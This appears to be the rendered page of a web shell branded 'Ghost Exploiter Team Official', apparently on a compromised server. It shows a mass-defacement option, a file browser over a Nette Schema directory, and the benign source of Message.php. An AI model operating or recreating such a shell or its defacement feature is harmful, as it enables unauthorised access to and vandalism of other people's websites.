Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
nette
/
schema
/
src
/
Schema
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Elements
--
ren
Context.php
1.057KB
edt
ren
DynamicParameter.php
0.217KB
edt
ren
Expect.php
2.728KB
edt
ren
Helpers.php
5.101KB
edt
ren
Message.php
2.743KB
edt
ren
Processor.php
1.896KB
edt
ren
Schema.php
0.572KB
edt
ren
ValidationException.php
0.835KB
edt
ren
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ declare(strict_types=1); namespace Nette\Schema; use Nette; use function implode, preg_last_error_msg, preg_replace_callback; final class Message { /** variables: {value: mixed, expected: string} */ public const TypeMismatch = 'schema.typeMismatch'; /** variables: {value: mixed, expected: string} */ public const ValueOutOfRange = 'schema.valueOutOfRange'; /** variables: {value: mixed, length: int, expected: string} */ public const LengthOutOfRange = 'schema.lengthOutOfRange'; /** variables: {value: string, pattern: string} */ public const PatternMismatch = 'schema.patternMismatch'; /** variables: {value: mixed, assertion: string} */ public const FailedAssertion = 'schema.failedAssertion'; /** no variables */ public const MissingItem = 'schema.missingItem'; /** variables: {hint: string} */ public const UnexpectedItem = 'schema.unexpectedItem'; /** no variables */ public const Deprecated = 'schema.deprecated'; /** @deprecated use Message::TypeMismatch */ public const TYPE_MISMATCH = self::TypeMismatch; /** @deprecated use Message::ValueOutOfRange */ public const VALUE_OUT_OF_RANGE = self::ValueOutOfRange; /** @deprecated use Message::LengthOutOfRange */ public const LENGTH_OUT_OF_RANGE = self::LengthOutOfRange; /** @deprecated use Message::PatternMismatch */ public const PATTERN_MISMATCH = self::PatternMismatch; /** @deprecated use Message::FailedAssertion */ public const FAILED_ASSERTION = self::FailedAssertion; /** @deprecated use Message::MissingItem */ public const MISSING_ITEM = self::MissingItem; /** @deprecated use Message::UnexpectedItem */ public const UNEXPECTED_ITEM = self::UnexpectedItem; /** @deprecated use Message::Deprecated */ public const DEPRECATED = self::Deprecated; public string $message; public string $code; /** @var string[] */ public array $path; /** @var string[] */ public array $variables; public function __construct(string $message, string $code, array $path, array $variables = []) { $this->message = $message; $this->code = $code; $this->path = $path; $this->variables = $variables; } public function toString(): string { $vars = $this->variables; $vars['label'] = empty($vars['isKey']) ? 'item' : 'key of item'; $vars['path'] = $this->path ? "'" . implode("\u{a0}›\u{a0}", $this->path) . "'" : null; $vars['value'] = Helpers::formatValue($vars['value'] ?? null); return preg_replace_callback('~( ?)%(\w+)%~', function ($m) use ($vars) { [, $space, $key] = $m; return $vars[$key] === null ? '' : $space . $vars[$key]; }, $this->message) ?? throw new Nette\InvalidStateException(preg_last_error_msg()); } }
<=Back
Liking